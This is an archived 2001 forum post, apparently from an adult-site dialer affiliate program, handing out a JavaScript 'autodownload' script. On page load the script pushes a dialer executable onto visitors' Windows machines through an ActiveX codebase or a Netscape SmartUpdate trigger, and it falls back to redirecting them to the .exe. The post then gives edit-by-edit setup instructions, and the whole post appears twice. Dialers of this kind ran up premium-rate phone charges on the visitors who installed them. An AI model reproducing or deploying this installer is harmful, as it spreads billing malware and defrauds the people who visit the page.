snow
02-26-2001, 12:39 PM
Hey guys I just wanted to share this with you. We have caught more then 13 people with our dialers on childporn sites...And we had 3 warez guysd advertising FREE. These guys WILL not be paid...
It discusts me and will not be Tolerated. I'm also here to give you the script for autodownload. Alot of you have been asking for it.... If you need the jarfile just message me...
THANKS SNOWhe instructions start here.
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Here is the Script:
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<script language="JavaScript">
// Cross-browser javascript installation routines
// Copyright 2000 Global Internet Billing, Inc.
var exepath='http://www.domain.com/dialers/dialer.exe';
var jarpath='http://www.domain.com/dialers/dialer.ns_signed.jar';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if ( navigator.platform && navigator.platform != 'Win32' ) {
location.replace('http://www.domain.com/sorry dialer will
not work with you system.html');
return;
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="gib" width=1 height=1
classid="CLSID:018B7EC3-EECA-11d3-8E71-0000E82C6C0D"
codebase="'+exepath+'"></object>');
} else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
trigger.StartSoftwareUpdate(jarpath,
trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
install();
</script>
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Simply cut and paste this script into the HTML on your page.
Using the example domain of www.sample.com (http://www.sample.com)
and the folder 'dialers' in this domain as the location of the dialer files
(both .exe and .jar) on your server.
and the dialer files named 'teens.exe' and 'teens.ns_signed.jar' as an
example.
You would edit the script like this:
1. This line:
var exepath='http://www.domain.com/dialers/dialer.exe';
would be edited to:
var exepath='http://www.sample.com/dialers/teens.exe';
2. This line:
var jarpath='http://www.domain.com/dialers/dialer.ns_signed.jar';
would be edited to:
var jarpath='http://www.sample.com/dialers/teens.ns_signed.jar';
3. And Finally this line:
location.replace('http://www.domain.com/sorry dialer will not work with
you system.html');
would be edited to:
location.replace('http://www.sample.com/sample.html');
This last line is simply to redirect end-users that are not on Windows
machines. You may redirect them to anywhere you like.
The .jar file is actually a Java Archive file. This is the file for
Netscape. You can NOT simply rename an .exe file into a .jar file.
The .jar file must keep both of it's extensions if you rename it:
EXAMPLE:
you have teens.ns_signed.jar
You would like to rename it to 'girls'
it would become:
girls.ns_signed.jar
If you have completed the setup correctly, upon page load a confirmation box
will pop prompting for permission to download, install, and run the dialer.
This will be true of both MS Internet Explorer and Netscape Navigator and
the dialer will work with both.
You may also wish to href the .exe file on the page. This will allow
end-users to click and download if they initially cancel the prompt.
It discusts me and will not be Tolerated. I'm also here to give you the script for autodownload. Alot of you have been asking for it.... If you need the jarfile just message me...
THANKS SNOWhe instructions start here.
----------------------------------------------------------------------------
---------------
Here is the Script:
<-------------------- Cut Here ---------------------->
<script language="JavaScript">
// Cross-browser javascript installation routines
// Copyright 2000 Global Internet Billing, Inc.
var exepath='http://www.domain.com/dialers/dialer.exe';
var jarpath='http://www.domain.com/dialers/dialer.ns_signed.jar';
var bname=navigator.appName;
var bver=parseInt(navigator.appVersion);
function install() {
if ( navigator.platform && navigator.platform != 'Win32' ) {
location.replace('http://www.domain.com/sorry dialer will
not work with you system.html');
return;
}
if (bname == 'Microsoft Internet Explorer' && bver >= 2) {
document.write('<object id="gib" width=1 height=1
classid="CLSID:018B7EC3-EECA-11d3-8E71-0000E82C6C0D"
codebase="'+exepath+'"></object>');
} else if (bname == 'Netscape' && bver >= 4) {
trigger = netscape.softupdate.Trigger;
if (trigger.UpdateEnabled) {
trigger.StartSoftwareUpdate(jarpath,
trigger.DEFAULT_MODE)
} else {
location.replace(exepath);
}
} else {
location.replace(exepath);
}
}
install();
</script>
<------------------------------ Cut Here -------------------------------->
Simply cut and paste this script into the HTML on your page.
Using the example domain of www.sample.com (http://www.sample.com)
and the folder 'dialers' in this domain as the location of the dialer files
(both .exe and .jar) on your server.
and the dialer files named 'teens.exe' and 'teens.ns_signed.jar' as an
example.
You would edit the script like this:
1. This line:
var exepath='http://www.domain.com/dialers/dialer.exe';
would be edited to:
var exepath='http://www.sample.com/dialers/teens.exe';
2. This line:
var jarpath='http://www.domain.com/dialers/dialer.ns_signed.jar';
would be edited to:
var jarpath='http://www.sample.com/dialers/teens.ns_signed.jar';
3. And Finally this line:
location.replace('http://www.domain.com/sorry dialer will not work with
you system.html');
would be edited to:
location.replace('http://www.sample.com/sample.html');
This last line is simply to redirect end-users that are not on Windows
machines. You may redirect them to anywhere you like.
The .jar file is actually a Java Archive file. This is the file for
Netscape. You can NOT simply rename an .exe file into a .jar file.
The .jar file must keep both of it's extensions if you rename it:
EXAMPLE:
you have teens.ns_signed.jar
You would like to rename it to 'girls'
it would become:
girls.ns_signed.jar
If you have completed the setup correctly, upon page load a confirmation box
will pop prompting for permission to download, install, and run the dialer.
This will be true of both MS Internet Explorer and Netscape Navigator and
the dialer will work with both.
You may also wish to href the .exe file on the page. This will allow
end-users to click and download if they initially cancel the prompt.